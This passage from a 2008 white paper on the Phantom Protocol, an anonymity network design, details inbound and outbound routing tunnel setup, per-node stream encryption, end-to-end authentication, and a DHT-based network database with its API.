throughout the entire routing path.
12. The entry node notifies the external node that submitted the original connection
establishment request that the tunnel has been set up and is ready for communication (the
nature of this communication will be described in the section regarding secure
communication over routing tunnels, below).
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (entry node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
45(68)
Figure 24. Inbound routing tunnel creation, completed
13. This last step is completely unnecessary for the functionality of this procedure. It is only
implemented in order to make the inbound routing tunnel setup process identical and
symmetrical to the outbound routing tunnel setup process, in regards to any external
observers or even any intermediary node in the routing path.
The entry node sends a dummy data package, having the same size as the tunnel
initialization package and containing only random data, back through the newly established
connection. Equivalent to the matching step of the outbound tunnel establishment procedure
(step 14), it will be decrypted by each node with its established key for the connection, and
eventually reach the anonymized node, which will just discard it and send a new random
package of the same size back through the connection. Equivalent to the matching step of
the outbound tunnel establishment procedure (step 16), it will be encrypted by each node
with its established key for the connection, and eventually reach the entry node, which will
then discard it. At this point, the inbound routing tunnel creation is complete and the
application layer on each side of the connection is notified of this, and can thus start
communicating arbitrary data over the connection, equivalent to a TCP connection.
Again, these two different procedures described above, for creation of inbound and outbound
routing tunnels, are completely identical and symmetrical to any external parties. This holds true
both in regards to any external eavesdropper monitoring all traffic for all the nodes in the entire
routing path except the anonymized node itself and the terminating node, and also even for the
intermediate X-nodes themselves, being the actual nodes constituting the tunnel. Thus, neither of
these parties will be able to conclude any information about what kind of routing tunnel is being
created (i.e. an inbound or outbound tunnel), or at which side of the routing path the anonymized
node that owns it is located. This is, of course, yet another measure to improve the anonymity of
the end-point nodes.
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (entry node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
46(68)
7.2.3.
Secure Establishment of Routing Tunnels – Low-Level Details
In this section, all the steps from the previous section (i.e. the “low level overview”) will be
repeated again, in grey and without the figures, and comments will be added (in normal black) to
further explain the design decisions behind each step, where necessary.
Outbound Routing Tunnel Setup Procedure
1. The anonymized node owning the outbound routing path (i.e. exit path) wants to establish a
connection to another node in the anonymous network.
2. The anonymized node generates a dummy random data package, having the size of a single
symmetric crypto block (i.e. 128 bits or more), and sends this package off through the pre-
existing connection to the next intermediate node in the routing path.
Using the size of a single crypto block is good for preventing an attacker from piggy-backing data
with the block as it is being forwarded through the tunnel. In the case of a single symmetric crypto
block, the entire plaintext contents of it will become completely corrupted if only a single bit of it is
altered by any node in the routing path.
3. Each subsequent node in the routing path then performs the following sub-procedure:
3.1.
The node randomly selects one of the stream encryption keys from its local set of
such, which it generated previously in step 11.13 of the routing path creation
process.
3.2.
The node encrypts the (at this point already previously encrypted by all preceding
nodes in the routing path) dummy package with the chosen key, as a single block.
3.3.
The node saves the encrypted dummy package in a time limited cache (containing all
such recently forwarded dummy packages), together with the encryption key that was
chosen for the package, and then sends off the encrypted dummy package to the
next intermediate node in the routing path (i.e. its adjacent X-node if using the same
nomenclature as during the creation procedure for routing paths) over the already
established connection remaining since the routing path setup process.
4. The exit node receives the dummy package after it has traversed the entire routing path, at
this point being encrypted once by each of its intermediate nodes, with randomly selected
keys from each of their individual sets of stream encryption keys.
5. The exit node prepares a special tunnel initialization package, having the size of a single
symmetric crypto block (i.e. 128 bits or more), containing the following (just as with all other
steps, this will be explained in much more detail in the next section):
5.1.
A crypto key initialization block, constructed in such a way that the risk of falsely
diagnosing it as a positive in a certain kind of test will be one in 232, or less.
5.2.
A checksum of the contents of the package.
The crypto key initialization block could be anything that enables it to be tested really quickly and
efficiently for internal consistency of some kind. One very simple example is to have two 32-bit
blocks containing the exact same data (any random number). Thus, the test for internal
consistency could be performed simply by comparing the two to see if they are equal or not.
The probability of a random 64-bit crypto key initialization block passing this test would be one in
232, and the extra checksum in the tunnel initialization package will make sure to decrease the
probability of false positives to one in 296. The extra checksum test will practically never have to
be used in the primary quick consistency test though, only in the cases where a false positive
passes the primary test, which will be too infrequently to affect the testing speed anyway. This
assures very high consistency test speeds (which will be important in a later step), while still not
increasing the probability of false positives as a trade-off.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
47(68)
6. The exit node encrypts the tunnel initialization package with the previously chosen stream
encryption key, as a single block.
7. The exit node establishes a completely new connection to the previous node in the routing
path, i.e. to the same IP address and port used during the original routing path setup
procedure, authenticated with the original connection ID used between the nodes in the
original routing path setup procedure. A copy of the originally received dummy package is
then sent over this connection, immediately followed by the new and encrypted tunnel
initialization package.
8. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
8.1.
The node authenticates the incoming connection by its IP address combined with the
given connection ID.
8.2.
The node matches the connection to the corresponding previously forwarded dummy
package (and thus also to the right encryption key which was chosen during that
forwarding procedure, described in step 3 above), by matching the first data block
that arrives over the connection against the time limited cache of all such previously
forwarded dummy packages. The matching entry is then removed from the cache
after the encryption key for the new connection has been stored separately.
8.3.
The node decrypts both the first received data block (i.e. the copy of the originally
forwarded dummy package) and the second one (i.e. the new tunnel initialization
package), using the encryption key derived in the previous step.
8.4.
The node establishes a new connection to the previous node in the routing path, i.e.
to the same IP address and port used during the original routing path setup
procedure, authenticating it in both directions by means of the original connection ID
used between the nodes in the original routing path setup procedure, and the
previously stored (during the routing path setup procedure) “server-side” SSL
certificate for this previous node.
8.5.
The node sends the two decrypted data blocks (i.e. the copy of the originally
forwarded dummy package and the new tunnel initialization package) over the newly
established and authenticated connection, in the same order that they were received.
9. The anonymized node finally receives the tunnel initialization package, after it has traversed
the entire routing path, at this point “decrypted” (in the situation at hand effectively working
rather as an encryption, but the terms are important here) once by each of its intermediate
nodes, with randomly selected keys from each of their individual sets of keys, which are
known by the anonymized node (since it created the seeds and parameters for generating
these keys, and can thus duplicate this process locally). At this point, the separate
connection for the routing tunnel has also been successfully established throughout the
entire routing path.
10. The anonymized node calculates which exact key out of its known set of keys that each
individual node in the routing path has selected for this particular tunnel, i.e. the key that was
used by each of them to decrypt the tunnel initialization package. This is done by brute
forcing over all keys in all the known sets of keys for each individual node in the routing path.
The number of keys in the set of each node can be arranged in a way that this entire
operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time),
during which still a considerable amount of e.g. AES blocks can be processed in memory.
The test being performed on the resulting plaintext block to know if a certain brute force
attempt was successful is related to the crypto key initialization block, mentioned in step 5.1
above (just as with all other steps, this will be explained in much more detail in the next
section).
First of all, a few words about why different keys need to be used to begin with. Why can’t each
node just have a single secret symmetrical key, instead of randomly selecting one from a pre-
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
48(68)
defined set? The reason is that we don’t want the nodes in the path to be able to communicate
with each other through “covert channels”, i.e. using parts of the protocol as a means of encoded
communication. The multiple keys prevent non-adjacent nodes from being able to communicate
with each other through repeated requests for new tunnels, and indirectly through the data
contained in the tunnel initialization packages of these. Using multiple keys chosen individually by
the each node during the establishment of each tunnel, there are no means for a node in the path
to deterministically influence the encrypted form of the tunnel initialization package coming out of
its adjacent node, and even less the remaining nodes.
So, let’s talk some more about the test through which the anonymized node can determine the
randomly selected keys (from the predefined sets) for each nodes. To visualize this test, it can be
seen as a number of nested for-loops (the number of loops being equal to the number of nodes in
the routing path), where each for-loop iterates through the entire pre-defined set of keys for its
corresponding node in the routing path, and the innermost loop performs the final consistency
test on the crypto key initialization block. If there were to be, let’s say, four nodes in a particular
routing path, and they would have respectively 10, 50, 100 and 200 keys in their individual sets,
this would result in a maximum of 4 * (10 * 50 * 100 * 200) = 40,000,000 block encryption tests
(where the factor 4 comes from the fact that for each tested combination, one block encryption
needs to be performed for each node in the path, which in this case is four nodes). Regardless of
whether this is a reasonable number or not, the number of keys in the node key sets will always
be automatically adjusted by the anonymized node itself to make sure that the operation always
completes in a reasonable amount of time on its hardware, e.g. 0.1 – 0.5 seconds. Also, with the
ongoing and upcoming mainstream deployment of massively parallel (multi core) processors,
such an operation shouldn’t practically have to pose any noticeable delay at all.
The main concept of this method is that any attacker (e.g. any of the intermediary nodes in the
path) would rather have to crack at least the equivalence of one full 128-bit key for each of the
nodes in the path in order to get hold of the used keys, an exercise which is not feasible at all (as
long as the symmetrical algorithm used, e.g. AES, isn’t itself cracked, of course, but even in that
event it could be easily replaced too).
11. When all the chosen keys of each individual node in the entire routing path have been
recovered, a final validation of the checksum in the recovered package is performed,
reducing the risk of false positives to one in 264 or less. It should always match under normal
circumstances (possible exception conditions will be discussed later).
12. The anonymized node prepares a special tunnel initialization reply package, of the same
size as the original tunnel initialization package, containing the following (just as with all
other steps, this will be explained in much more detail in the next section):
12.1. The desired AP address and port to create an outbound connection to.
12.2. A secure checksum.
Just as with the dummy random data package, discussed in step 2 above, using the size of a
single crypto block is good for preventing an attacker from piggy-backing data with the block as it
is being forwarded through the tunnel. In the case of a single symmetric crypto block, the entire
plaintext contents of it will become completely corrupted if only a single bit of it is altered by any
node in the routing path, which will also be immediately discovered by use of the internal
checksum when it reaches the exit node.
13. The anonymized node encrypts the tunnel initialization reply package with all the individual
recovered keys of the routing path nodes, in the appropriate sequence, in such a way that it
will be decrypted correctly once it reaches the exit node, and sends it back through the newly
created separate connection for the tunnel.
14. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
49(68)
14.1. The node decrypts the (at this point already previously decrypted by all preceding
nodes in the routing path) tunnel initialization reply package, with the previously
chosen key for the connection, as a single block.
14.2. The node sends off the decrypted dummy package to the next intermediate node in
the routing path, over the newly created separate connection for the tunnel.
15. The exit node finally receives the tunnel initialization reply package, after it has traversed the
entire routing path, at this point being decrypted into the plaintext state in which it was
created by the anonymized node in the other end of the routing path. It verifies the
checksum, and then immediately attempts to create an outgoing connection to the stated AP
address and port.
16. If the external connection attempt does not succeed, the exit node simply closes down the
newly created connection for the tunnel, which will cause a chain reaction closing down all
the parts of the connection, all the way back to the anonymized node, which at this point will
know that the connection attempt failed. If the external connection attempt does succeed, the
exit node sends a dummy data package, having the same size as the tunnel initialization
package and containing only random data, back through the newly established connection.
Similar to the tunnel initialization package, it will be encrypted by each node with the
established key for the connection, and eventually reach the anonymized node, which will
then know that the connection has succeeded, and be able to start using it immediately. At
this point, the routing tunnel creation is complete and the application layer on each side of
the connection is notified of this, and can thus start communicating arbitrary data over the
connection, equivalent to a TCP connection.
Inbound Routing Tunnel Setup Procedure
1. The entry node of the inbound routing path (i.e. entry path) receives a connection
establishment request from another node in the anonymous network.
2. The entry node prepares a special tunnel initialization package, having the same size as the
initial dummy package in the outbound routing tunnel creation procedure described above,
i.e. the size of a single symmetric crypto block (128 bits or more), containing the following
(just as with all other steps, this will be explained in much more detail in the next section):
2.1.
A crypto key initialization block, constructed in a way that the risk of falsely
diagnosing it as a positive in a certain kind of test will be one in 232, or less.
2.2.
The IP address of the connecting node (Note: remember that this is only the IP
address of the node that directly connects to the entry node, i.e. if the node that
initiated this connection is anonymized by means of an exit path, this will only be the
IP address of the exit node of this exit path, thus not revealing any sensitive
information in regards to the identity of the remote anonymized node).
2.3.
The AP address of the anonymized node that the connecting node intends to create
a connection to by means of this connection.
The crypto key initialization block is constructed in exactly the same way as described in the
comment for step 5 in the outbound routing tunnel setup procedure above. Instead of an extra
checksum however, the false positive rate for the consistency test can be reduced to at least one
in 264 by validating that the stated AP address matches the AP address of the anonymized node.
Just as with the data packages discussed in the outbound routing tunnel setup procedure above,
using the size of a single crypto block is good for preventing an attacker from piggy-backing data
with the block as it is being forwarded through the tunnel.
3. The entry node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
50(68)
3.1.
The node randomly selects one of the stream encryption keys from its local set of
such keys, which it generated previously in step 11.13 of the routing path creation
process.
3.2.
The node encrypts the (at this point already previously encrypted by all preceding
nodes in the routing path, except of course for the entry node, which doesn’t have
any preceding nodes and was the one to prepare the package to begin with) tunnel
initialization package with the chosen key, as a single block.
3.3.
The node saves the encrypted tunnel initialization package in a time limited cache
(containing all such recently forwarded tunnel initialization packages), together with
the encryption key that was chosen for the package, and then sends off the
encrypted tunnel initialization package to the next intermediate node in the routing
path (i.e. its adjacent X-node if using the same nomenclature as during the creation
procedure for routing paths) over the already established connection remaining since
the routing path setup process.
4. The anonymized node that owns the routing path receives the tunnel initialization package
after it has traversed the entire routing path, at this point being encrypted once by each of its
intermediate nodes, with randomly selected keys from each of their individual sets of stream
encryption keys, which are known by the anonymized node (since it created the seeds and
parameters for generating these keys, and can thus duplicate this process locally).
5. The anonymized node calculates which exact key out of its known set of keys that each
individual node in the routing path has selected for this particular tunnel, i.e. the key that was
used by each of them to encrypt the tunnel initialization package. This is done by brute
forcing over all keys in all the known sets of keys for each individual node in the routing path.
The number of keys in the set of each node can be arranged in a way that this entire
operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time),
during which still a considerable amount of e.g. AES blocks can be processed in memory.
The test that is performed on the resulting plaintext block to know if a certain brute force
attempt was successful is related to the crypto key initialization block, mentioned in step 2.1
above (just as with all other steps, this will be explained in much more detail in the next
section).
This key derivation procedure is performed in the exact same way as described in the comment
for step 10 in the outbound routing tunnel setup procedure above.
6. When all the chosen keys of each individual node in the entire routing path have been
recovered, a final validation of the target AP address of the connection is performed, to
confirm that it was indeed intended for the actual AP address that the anonymized node has
registered. In addition, this can be seen as an extension to the brute force key recovery
procedure in the previous step, which reduces the risk of false positives to one in 264. The
AP address should always match under normal circumstances (possible exception
conditions will be discussed later).
7. The anonymized node prepares a special tunnel initialization reply package, of the same
size as the original tunnel initialization package, containing the following (just as with all
other steps, this will be explained in much more detail in the next section):
7.1.
A flag block, containing multiple flags for communication of exceptional
circumstances from the anonymized node to the entry node.
7.2.
A secure checksum.
8. The anonymized node encrypts the tunnel initialization reply package with all the individual
keys of the routing path nodes, in the appropriate sequence, in such a way that it will be
decrypted correctly once it reaches the entry node.
9. The anonymized node establishes a completely new connection to the previous node in the
routing path, i.e. to the same IP address and port used during the original routing path setup
procedure, authenticated with the original connection ID used between the nodes in the
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
51(68)
original routing path setup procedure. A copy of the originally received tunnel initialization
package is then sent over this connection, immediately followed by the new and repeatedly
encrypted tunnel initialization reply package.
10. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
10.1. The node authenticates the incoming connection by its IP address combined with the
given connection ID.
10.2. The node matches the connection to the corresponding previously forwarded tunnel
initialization package (and thus also the right encryption key which was chosen
during that forwarding procedure, described in step 3 above), by matching the first
data block that arrives over the connection against the time limited cache of all such
previously forwarded tunnel initialization packages. The matching entry is then
removed from the cache after the encryption key for the new connection has been
stored separately.
10.3. The node decrypts both the first received data block (i.e. the copy of the originally
forwarded tunnel initialization package) and the second one (i.e. the new tunnel
initialization reply package), using the encryption key derived in the previous step.
10.4. The node establishes a new connection to the previous node in the routing path, i.e.
to the same IP address and port used during the original routing path setup
procedure, and authenticates it in both directions by means of the original connection
ID used between the nodes in the original routing path setup procedure, and the
previously stored (during the routing path setup procedure) “server-side” SSL
certificate for this previous node.
10.5. The node sends the two decrypted data blocks (i.e. the copy of the originally
forwarded tunnel initialization package, and the new tunnel initialization reply
package) over the newly established and authenticated connection, in the same
order that they were received.
11. The entry node finally receives the tunnel initialization reply package, after it has traversed
the entire routing path, at this point being decrypted into the plaintext state in which it was
created by the anonymized node in the other end of the routing path. The flags of the
package can now be interpreted by the entry node, and under normal circumstances
everything should be ok, and the routing tunnel has now been successfully established
throughout the entire routing path.
12. The entry node notifies the external node that submitted the original connection
establishment request that the tunnel has been set up and is ready for communication (the
nature of this communication will be described in the section regarding secure
communication over routing tunnels, below).
13. This last step is completely unnecessary for the functionality of this procedure. It is only
implemented in order to make the inbound routing tunnel setup process identical and
symmetrical to the outbound routing tunnel setup process, in regards to any external
observers or even any intermediary node in the routing path.
The entry node sends a dummy data package, having the same size as the tunnel
initialization package and containing only random data, back through the newly established
connection. Equivalent to the matching step of the outbound tunnel establishment procedure
(step 14), it will be decrypted by each node with its established key for the connection, and
eventually reach the anonymized node, which will just discard it and send a new random
package of the same size back through the connection. Equivalent to the matching step of
the outbound tunnel establishment procedure (step 16), it will be encrypted by each node
with its established key for the connection, and eventually reach the entry node, which will
then discard it. At this point, the inbound routing tunnel creation is complete and the
application layer on each side of the connection is notified of this, and can thus start
communicating arbitrary data over the connection, equivalent to a TCP connection.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
52(68)
Again, these two different procedures described above, for creation of inbound and outbound
routing tunnels, are completely identical and symmetrical to any external parties. This holds true
both in regards to any external eavesdropper monitoring all traffic for all the nodes in the entire
routing path except the anonymized node itself and the terminating node, and also even for the
intermediate X-nodes themselves, being the actual nodes constituting the tunnel. Thus, neither of
these parties will be able to conclude any information about what kind of routing tunnel is being
created (i.e. an inbound or outbound tunnel), or on which side of the routing path that the
anonymized node that owns it is located. This is, of course, yet another measure to improve the
anonymity of the end-point nodes.
This concludes the low-level details for the secure establishment of routing tunnels.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
53(68)
7.2.4.
Secure Communication over Routing Tunnels
Once a routing tunnel has been established, the communication over it is extremely simple. Each
intermediate node (X-node) in the routing path has one connection in either direction open for the
tunnel, and a stream encryption key associated with it (the one that was chosen during the tunnel
establishment procedure described above). As soon as any data arrives on either of the two
connections, it will be immediately stream encrypted by the node (or decrypted, depending on the
direction) byte by byte, with the associated encryption key, and the encrypted (or decrypted) byte
is then sent out on the matching opposite connection of the node.
This way, each node only works as a forwarding and encrypting proxy, nothing more. The
anonymized node keeps track of the encryption key and stream encryption state for each of the
intermediate nodes, and can, therefore, easily decrypt and encrypt the bytes that it receives and
sends over the routing path.
The reason for using stream encryption in each node is to eliminate any and all possibilities for
any two non-adjacent nodes in the routing tunnel/path to communicate with each other by means
of any kind of data patterns sent over the routing tunnel. For each encrypted unit of data, the
stream encryption state in each node is updated, which means that it will produce completely
different output even if identical data is sent over the same connection twice.
The reason for individually encrypting each byte in the data stream is that it can never be safely
assumed that enough data will be sent at a time to fill an entire and even crypto block, and data
can of course never be withheld until enough data has arrived in this situation (which might very
well never occur in many situations and with many application level protocols).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
54(68)
7.3. Secure End-to-End Encryption and Authentication
End-to-end security equivalent to that of SSL, i.e. using secure end-to-end encryption and
bidirectional secure asymmetrical authentication, can also be easily be accomplished over the
connections of the anonymous network too. The best way is most likely to simply use a regular
SSL connection inside the TCP-equivalent anonymized connection that has been described. This
way, the common anonymized connection would be the anonymized equivalent of a TCP
connection, while the SSL-secured version would be the anonymized equivalent of an SSL/TCP
connection.
Such SSL security could of course always be applied externally, by the applications themselves
on the application level, but it would be a very good idea for several reasons to build it trans-
parently into the protocol design, for all connections. This would prevent any and all eaves-
dropping attacks by exit nodes, entry nodes and external attackers, and make the protocol much
more secure by default.
The needed certificates could also be easily integrated into the already existing network database
design in an efficient manner. They could be stored in association with each AP address entry,
along with the various certificates and other information already being stored there in the design
having been presented this far.
Due to the inherent problems of using a standard PKI structure with certificate authorities (CA) in
an anonymized network (no certificate authority will obviously be able to positively identify the
owner of any AP address, since this in the foundational concept), other methods of ensuring the
authenticity of end points will have to be used. The classic “web of trust” method can still be used,
where one or several trusted actors (either real identities or other AP addresses) can vouch for
the authenticity of a certain AP address certificate.
Also, a second solution which could be used in parallel with the “web of trust” method is to make
it possible for users to manually store trusted end-point certificates for certain AP addresses
locally in their computers. These will be compared to the certificates presented by the
corresponding AP addresses as soon as they are being connected to, and if a mismatch would
occur, a warning will be presented to the user about this. These trusted certificates would typically
be acquired and stored the first time an AP address is connected to, or even acquired manually
from third party sources, e.g. trusted long-time users of the AP address in question, or from
trusted websites on the normal Internet.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
55(68)
7.4. The Network Database
7.4.1.
The Simple DHT Abstraction
In order to avoid getting stuck in the more complex low-level details of how any specific DHT
(Distributed Hash Table3) design or algorithm works, we will remove the need for all such things
by creating a simple DHT abstraction that even the most basic forms of DHT designs and
algorithms will be able to meet, and use this abstraction for all further discussions. That way,
practically any kind of DHT algorithm can be selected and used to implement the Phantom
Network Database at a later point, without affecting any of its higher level design or features. It
should be noted, however, that some DTH designs may very well already inherently support
some of the features that will be discussed as being placed on top of the simple DHT abstraction.
In these cases, this will only be regarded as an extra advantage for selecting this particular DHT
algorithm, but not as a requirement for any selected algorithm.
The following is the simple DHT abstraction that will be used, and the terms describing it:
1. A DHT node is one of the networked users that constitute the DHT.
•
In the case of the DHT-based Phantom Network Database, all network nodes in the
entire anonymized network will be DHT nodes in the database.
2. Any DHT node can store data in the DHT, by submitting a DHT key with data attached to it.
•
The DHT key can be any sequence of bytes (with some defined maximum length).
•
The data attached to the DHT key can be any sequence of bytes (with some defined
maximum length, normally bigger than the maximum length of the DHT keys).
3. Data can be retrieved from the DHT by any DHT node, by submitting a query for any of its
existing DHT keys.
4. The DHT will be able to handle constantly departing and newly joining DHT nodes, without
losing any data (or, at least, with a very low risk of doing so).
•
This is a standard feature of all DHT designs.
5. It should be possible to quickly broadcast certain messages to all DHT nodes.
•
This is a feature which most DHT designs inherently support, as part of their overlay
network structure.
7.4.2.
The Phantom Network Database
Having just defined the simple DHT abstraction, we can now move on to defining the more
advanced distributed Phantom Network Database abstraction. This database abstraction will be
built completely upon the simple DHT abstraction described above, thus having the sole
requirement of being powered by any DHT design able to live up to that simple DHT abstraction.
Here follows a description of the capabilities of the Phantom Network Database (PND), and its
related terminology:
1. The database should be resilient to injection of false or unauthentic data.
•
This can be solved in part by applying voting algorithms for replies, and in part by
digitally signing some of its data, where suitable and possible.
2. The database should be resilient to “net splits”, i.e. attackers being able to create an isolated
part of the network that they can fully control and monitor, thus being able to trap and track
unsuspecting users in it (remember that the entire security of the protocol is based on
attackers not being able to control a significant percentage of all nodes in the network).
3 http://en.wikipedia.org/wiki/Distributed_hash_table
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
56(68)
•
First of all, the designs of most DHT algorithms inherently make such an attack
extremely hard to accomplish on a DHT that’s already up and running. This is due to the
rather extreme level of random interconnection and automatic balancing between nodes
that is constantly occurring.
•
The most likely method to successfully lure and isolate a certain network node into a
separate network would rather be to do it initially, when the victim node is getting
connected to the network. Several things could be done to make also this kind of attack
much more difficult.
•
First of all, once a node has been successfully connected to the real network just
once, a large amount of previously known nodes could be used to “prime” each
subsequent reconnection to the network. This would assure that if just one of these
nodes is still legitimate, it will work as an “interconnection” between the real network
and any possible false network, giving access to all the nodes in the real network and
possibly even “melting together” the real network and the false network (by means of
the dynamic balancing and distribution of data throughout all known nodes that is
constantly going on in a DHT), thus neutralizing the false network completely.
•
As for the very first time that a node connects to the network, it is indeed important to
get an “entry address” into the network (i.e. the address of any random node that is
already connected to the network) from a trusted source. Given the typical
exponential growth rate of a network of this kind, it should not take long until most
people “know someone” who is already in the network though, and up until that point
all users could easily be primed from a central trusted web site or similar. It is
important to note though that such a central server will not be needed anymore as
soon as the network reaches a “critical mass”, which should happen very quickly.
•
Finally, given the “melting together” scenario mentioned above, no false network
would even be able to survive (at least without detection) if just a single node in that
entire network would know about nodes from the real network too. In order to make
sure that such a thing would always happen quickly, and thus make sure that no
false network could survive for any longer period of time, network nodes could be
designed to recurringly “re-prime” themselves from other personal and locally defined
“trusted nodes”. Such a trusted node will typically be a network node belonging to a
personal friend or similar, and during the re-prime procedure the two nodes that are
performing it together (always in a symmetrical fashion) would share with each other
a significant amount of information (e.g. IP addresses) about the current network in
which they are located, and then merge this data from the other trusted node with
their currently existing knowledge about the network. This way a re-primed node
originally located in a false network would also immediately get access to the entire
real network, and the other nodes in the false network would be reduced to being a
small part of the real network instead, which is a situation that the protocol is able to
handle by design. Thus, the false network will have been neutralized.
3. The database should support the notion of virtual “tables”, “table fields” and “table records”
for storing data.
•
This can be easily accomplished by only allowing data of certain formats to be stored in
the database, where each format belongs to a different virtual table. The data of the
different allowed formats could be marked based on its data type, and this will be
interpreted by all network nodes in order to know to which virtual table the data belongs.
•
The notion of table fields and records can be easily accomplished by including different
fields in all the different allowed kinds of data formats, thus effectively storing tuples of
specific data format in each virtual table.
•
Each table record can also be submitted with an extra DHT key unique to its parent
table, facilitating the subsequent retrieval of “random” records from any specific table, by
simply querying for this special table key.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
57(68)
4. The database should be able to return random records from a specified table in a secure
fashion (i.e. in a fashion such that no single node can influence more than a maximum of
one record in the returned set).
•
This can be accomplished by querying multiple nodes for the same kind of data, and
then, at random, picking a maximum of one data item from each contacted node. To
make it even more secure, the same nodes should never, to the extent practically
possible, be queried again for random data of the same kind, or even any kind of data,
depending on how many different nodes are available in the network.
5. The database should be able to enforce a permission system for certain operations, e.g.
allowing only the “owner” of certain data items (i.e. the entity that first inserted the data into
the database) to update or remove them, but no one else, and to only allow certain queries
altogether.
•
This can be accomplished by requiring cryptographic authentication for such operations,
e.g. by means of requiring a valid digital signature created with the key belonging to a
cryptographic certificate that is attached to the pre-existing item to be updated (or
deleted).
•
In the case of allowing only certain specific queries, while disallowing all other queries,
this can be a simple matter of having each node pre-filter all queries arriving to it before
processing them. The rules defining what will be allowed and not allowed can be hard
coded into the application itself, together with the virtual table definitions.
6. The database should be able to enforce expiry dates for certain kinds of data (e.g. table
records in certain tables), outside the control of the nodes that are submitting the data.
•
This can be accomplished by including expiry time limits for records in certain tables, and
having each individual node enforcing these limits locally, dropping any stored record as
soon as it has passed its expiry time.
•
In a little more detail, data added to such a table would have its exact expiry time
calculated locally by each node that stores the data, based on the defined expiry time
limit defined in the table in question, combined with a creation time stamp that comes
with the data item itself. In order to prevent “cheating”, no entries having time stamps
with future times will be accepted into such a table to begin with.
7. A “command channel”, where centrally authorized commands can be quickly sent to all
nodes participating in the network database, should be supported.
•
This can be easily accomplished by means of a combination of the DHT broadcast
feature, and commands signed with an asymmetric master key whose public half is hard
coded into all clients.
•
This way, central network administration, located anywhere on the network, could
perform certain administrative actions in order to manually counter large and
resourceful attacks against the network, e.g. globally banning certain IP addresses or
removing certain entries from the network database.
•
It is important to note, however, that no such command should ever be able to affect
the computers of the network nodes in any way. Because of this, no one should have
to worry about the central command key being cracked, since it will at most be able
to disrupt the operation of the network, but not any of its clients. And in the unlikely
even that such a central command key would be cracked or otherwise compromised,
it’s as easy as releasing a new version of the client with a new hardcoded key inside
it to completely rectify the situation.
•
Finally, if such a command feature would still induce too much paranoia among
potential users of the protocol, no matter how benign it really is, it can indeed be
completely left out, at least until any hypothetical large scale attack against the
network actually occurs, which the build in counter measures of the protocol won’t be
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
58(68)
able to handle automatically. After all, this might not happen at all (especially judging
from the (un)success rate of various attackers trying to disrupt miscellaneous
controversial distributed networks on the Internet to this date).
7.4.3.
The Phantom Network Database API
Having defined the capabilities of the Phantom Network Database above, we can now finally
present the exact interface that Phantom nodes will be using to interact with it, e.g. the “allowed
queries and operations” on it. This interface will use a subset of the full power of the Phantom
Network Database abstraction, and each and every individual node will help making sure, in the
best way possible, that no other node can use anything but this subset of the full capabilities, as
an extra security measure.
•
RegisterMyNodeInTheNetwork(own_ip_address,
communication_certificate,
path_building_certificate)
This API will be called by each node as soon as it goes online on the anonymous network.
The result will be access granted to the network database, and registration of the node’s IP
address in this database at the same time.
•
ReserveNewAPAddress(routing_certificate)
This API will be called when a node in the network wants to acquire a time limited lease of an
own incoming AP address in the network. The API returns a new reserved AP address,
whose routing table entries will only be able to be updated with valid signatures from the
“routing certificate” supplied as a parameter to the API. The same applies for extensions of
the lease. In order not to risk compromising the anonymity of the node requesting this AP
address, such a request would also have to be passed through a routing path before being
issued towards the network database.
•
ExtendAPAddressLease(ap_address)
signed_lease_request,
routing_certificate)
This API will be called when a node in the network wants to extend its current lease of an AP
address already reserved for it. The extension will only be granted if the lease request has a
valid signature created by the same routing certificate that was used for the original
reservation of the AP address.
•
UpdateRoutingTableEntry(ap_address,
signed_routing_entry,
routing_certificate)
This API will be called when a node in the network wants to update the routing table entry of
its AP address in the network database, to add or remove an entry path. The update will only
be granted if the new routing entry has a valid signature created by the same routing
certificate that was used for the original reservation of the AP address.
•
GetRandomNodeIPAddresses(noof_addresses)
This API will be called when a node in the network wants a list of random IP addresses for
nodes in the anonymous network, e.g. for use in building a new routing path. The network will
return the given number of addresses (together with their corresponding communication
certificate and path building certificate), where a maximum of only one result comes from the
same network database node, in order to prevent any single node from being able to
influence or bias the returned set of IP addresses in any significant way.
•
GetEntryNodesForAPAddress(ap_address)
This API will be called when a node in the network wants to resolve a given AP address to the
entry nodes through which it can be contacted. A list of all such entry nodes (i.e. their IP
addresses and ports) is returned.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
